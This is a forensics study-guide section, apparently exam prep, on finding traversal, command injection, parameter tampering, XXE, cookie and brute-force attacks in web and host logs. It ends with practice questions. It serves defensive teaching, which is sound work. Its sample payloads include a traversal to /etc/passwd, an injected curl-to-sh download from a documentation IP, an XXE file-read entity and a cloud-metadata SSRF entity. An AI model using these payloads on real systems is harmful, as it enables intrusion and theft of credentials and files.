13.5 Investigating Directory Traversal, Command Injection, Parameter Tampering, XXE, Cookie Poisoning & Brute Force
Key Takeaways
- Directory traversal appears in logs as encoded dot-dot-slash sequences (%2e%2e%2f, double-encoded %252e%252e%252f, and UTF-8 overlong forms), and success is confirmed by an HTTP 200 with an sc-bytes value matching the size of the targeted system file.
- Command injection is identified by shell metacharacters (; | & && $( ) backticks and newlines) inside parameters, corroborated by a web-server process spawning a shell child such as cmd.exe or /bin/sh in Event ID 4688 or auditd execve records.
- Parameter tampering leaves no malformed syntax at all, so it is detected by comparing submitted values against server-side authoritative state — price, quantity, role, and object identifiers reaching the application from a client-controlled field.
- XXE is proven by an inbound request containing a DOCTYPE with an external ENTITY declaration; blind XXE is proven by the out-of-band DNS or HTTP callback to the attacker's DTD host rather than by the response body.
- Cookie poisoning and session fixation are exposed by a single session identifier used from multiple source IP addresses or user agents, or by a privilege field carried inside an unsigned cookie value.
13.5 Investigating Directory Traversal, Command Injection, Parameter Tampering, XXE, Cookie Poisoning & Brute Force
Quick Answer: Blueprint Domain 5 requires investigating cross-site scripting, SQL injection, and directory traversal, then command injection, parameter tampering, and XML external entity attacks, then brute force and cookie poisoning. Each leaves a different evidentiary fingerprint. Traversal and injection leave syntactic anomalies in the request. Parameter tampering leaves semantically valid but authoritatively wrong values. XXE leaves a DOCTYPE/ENTITY declaration or an out-of-band callback. Cookie poisoning leaves one session identifier across many clients. Brute force leaves a status-code pattern: a long run of 401/403 terminated by a 200.
Directory (Path) Traversal
Traversal abuses a file-path parameter to escape the web root and read arbitrary files: /etc/passwd, /etc/shadow, web.config, C:\Windows\win.ini, or application configuration holding database credentials.
Encoding Variants That Defeat Naive Log Greps
| Form | Encoded representation |
|---|---|
| Plain | ../../../../etc/passwd |
| URL-encoded | %2e%2e%2f%2e%2e%2f |
| Double-encoded | %252e%252e%252f (decodes to %2e%2e%2f, then to ../) |
| Backslash (Windows) | ..\..\..\windows\win.ini or %2e%2e%5c |
| UTF-8 overlong | %c0%ae%c0%ae%2f |
| Null-byte truncation (legacy) | ../../etc/passwd%00.jpg |
| Mixed/nested | ....//....// (defeats a single non-recursive strip of ../) |
Log Signature and Proof of Success
An IIS cs-uri-query or Apache request line containing any of the above is an attempt. Success requires reading the response fields:
2026-09-14 03:21:44 10.0.2.15 GET /download.aspx file=../../../../windows/win.ini
80 - 203.0.113.44 Mozilla/5.0 200 0 0 1094 412
sc-status 200 with sc-bytes 1094 — a plausible size for the requested system file rather than the application's normal page size — indicates the file was served. A 404 or 403, or an sc-bytes value equal to the standard error-page size, indicates the attempt failed. Correlate against the file system: the target file's $STANDARD_INFORMATION last-access time (where access-time updating is enabled) or the web application's own audit log should show the read.
Command Injection
Command injection occurs when user input reaches a shell. The decisive host-side artifact is a web-server process spawning a shell child.
Metacharacters to Hunt
; | || & && ` $(...) %0a (newline) %0d — plus their URL-encoded forms %3B %7C %26.
GET /diag/ping.php?host=127.0.0.1%3Bcat%20/etc/passwd HTTP/1.1
GET /tools/lookup.aspx?ip=8.8.8.8%7Cwhoami HTTP/1.1
POST /admin/backup target=$(curl%20http://203.0.113.44/s.sh|sh)
Corroborating Host Evidence — the Part That Convicts
| Platform | Artifact | Signature of compromise |
|---|---|---|
| Windows/IIS | Event ID 4688 process creation | Parent w3wp.exe → child cmd.exe, powershell.exe, net.exe, whoami.exe |
| Linux/Apache | auditd execve records | Parent apache2/httpd/php-fpm → /bin/sh, /usr/bin/curl, /usr/bin/wget |
| Both | Outbound connections | Web server host initiating egress to an unfamiliar IP (tool download or reverse shell) |
| Both | File creation in web root | Newly created .php, .aspx, .jsp under a writable upload directory (web shell) |
[!IMPORTANT] A web server process should essentially never have a shell child. That single parent-child relationship converts an ambiguous request-log anomaly into a defensible finding of remote code execution, and it is the correlation an exam scenario is usually steering toward.
Parameter Tampering
This is the quietest of the blueprint's web attacks because nothing about the request is malformed. The attacker intercepts a request with a proxy and changes a value the application wrongly trusted the client to supply.
| Tampered element | Example | Business impact |
|---|---|---|
| Hidden form field | price=899.00 → price=1.00 | Fraudulent purchase |
| Quantity | qty=1 → qty=-5 | Negative-total refund abuse |
| Role/privilege | role=user → role=admin | Privilege escalation |
| Object identifier (IDOR) | invoice_id=4471 → invoice_id=4472 | Horizontal access to another customer's data |
| Currency or discount | discount=0 → discount=95 | Revenue loss |
| Workflow state | step=payment → step=confirmed | Order without payment |
How to detect it forensically: you cannot find it in a syntax scan. You must reconcile the request against authoritative server-side state — join the web log or application audit log to the product catalog price, the entitlement table, or the object-ownership table, and surface every transaction where the submitted value diverges from the authoritative value. For IDOR specifically, join request identifiers to the session's owning account and flag every request whose identifier belongs to a different account. A run of sequential identifiers from one session is the classic enumeration pattern.
XML External Entity (XXE) Injection
XXE abuses an XML parser configured to resolve external entities, turning a document upload or API call into arbitrary file read or server-side request forgery.
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<order><customer>&xxe;</customer></order>
| Variant | Mechanism | Forensic evidence |
|---|---|---|
| In-band (classic) | Entity value echoed in the HTTP response | Response body containing file contents; request body retains the <!DOCTYPE ... ENTITY ...> declaration |
| Blind / out-of-band | External DTD fetched from attacker host; data exfiltrated in a URL | DNS query and HTTP request from the web server to the attacker's domain — the primary evidence |
| SSRF pivot | SYSTEM "http://169.254.169.254/latest/meta-data/" | Web server requesting the cloud instance metadata endpoint |
| Billion Laughs / XML bomb | Nested entity expansion | Memory exhaustion, parser crash, denial of service in application logs |
[!WARNING] Blind XXE is invisible in the HTTP response. The proof lives in egress telemetry: DNS resolver logs showing the web server resolving an attacker-controlled domain, and proxy or firewall logs showing an outbound fetch of a
.dtd. If the investigation only reviews inbound web logs, blind XXE is missed entirely. Request-body logging must also be enabled — default IIS and Apache access logs record the URI, not the POST body, so the<!DOCTYPE>declaration never reaches the access log. A WAF audit log or application-level logging is usually the only place the payload is preserved.
Cookie Poisoning and Session Attacks
| Attack | Mechanism | Log signature |
|---|---|---|
| Cookie poisoning | Attacker edits an unsigned cookie value (role=admin, uid=1, authenticated=true) | Privileged action from a session whose server-side record shows no privilege grant |
| Session hijacking | Stolen session identifier replayed | One session ID appearing from two or more distinct source IPs or user agents, often geographically impossible |
| Session fixation | Attacker sets a known session ID before login; the app fails to regenerate it on authentication | The same session identifier persisting across the authentication event |
| Cookie replay | Captured cookie reused after logout | Requests with a valid session ID arriving after the logout event was logged |
The reconstruction technique: pivot the web log on the session identifier rather than on the IP address. Group all requests carrying one session token and inspect the distinct c-ip and cs(User-Agent) values. A legitimate session shows one client; a hijacked session shows a handoff, and the timestamp of the first request from the second client dates the compromise.
Also inspect cookie attributes recorded in Set-Cookie responses: a session cookie lacking HttpOnly is stealable by XSS, lacking Secure is stealable on any cleartext hop, and lacking SameSite is usable in cross-site request forgery.
Brute Force and Credential Attacks
Brute force is a statistical pattern rather than a syntactic one.
| Variant | Distinguishing pattern |
|---|---|
| Classic brute force | Many passwords against one account from one source; dense 401/403 burst |
| Password spraying | One or two passwords against many accounts, slowly — evades per-account lockout and looks like ordinary failed logins unless aggregated by source IP |
| Credential stuffing | Breach-corpus pairs against many accounts; high volume, low per-account attempts, heavy proxy rotation |
| Success | The status-code transition: a long run of 401 from a source, then a single 200 — that timestamp is the compromise |
Corroborating host evidence: Windows Event ID 4625 (failed logon) with the status/sub-status codes distinguishing bad password (0xC000006A) from unknown username (0xC0000064), followed by 4624 with Logon Type 3 (network) or 10 (RemoteInteractive). On Linux, /var/log/auth.log or /var/log/secure shows repeated Failed password for <user> from <IP> port <n> ssh2 followed by Accepted password.
The detection trap: filtering on a threshold of failures per account misses password spraying entirely. Aggregate by source IP and by time window across all accounts, and the spray becomes obvious.
An IIS log shows hundreds of requests to /reports/view.aspx with the query string doc=%252e%252e%252f%252e%252e%252fweb.config. Most return sc-status 404 with sc-bytes 1245, but one returns sc-status 200 with sc-bytes 3871. What has the examiner established?
A blind XXE attack is suspected against a document-upload API. The application returned HTTP 200 with an empty body for every upload, and the IIS access logs show nothing unusual. Which evidence source most directly confirms the attack succeeded?
Security monitoring reports no brute-force alerts because the alert rule fires only when a single account records more than 20 failed logons in an hour. A later compromise investigation finds that one external IP address attempted the password Autumn2026! against 1,400 distinct accounts over six hours, succeeding against three. Which attack occurred and what detection change is required?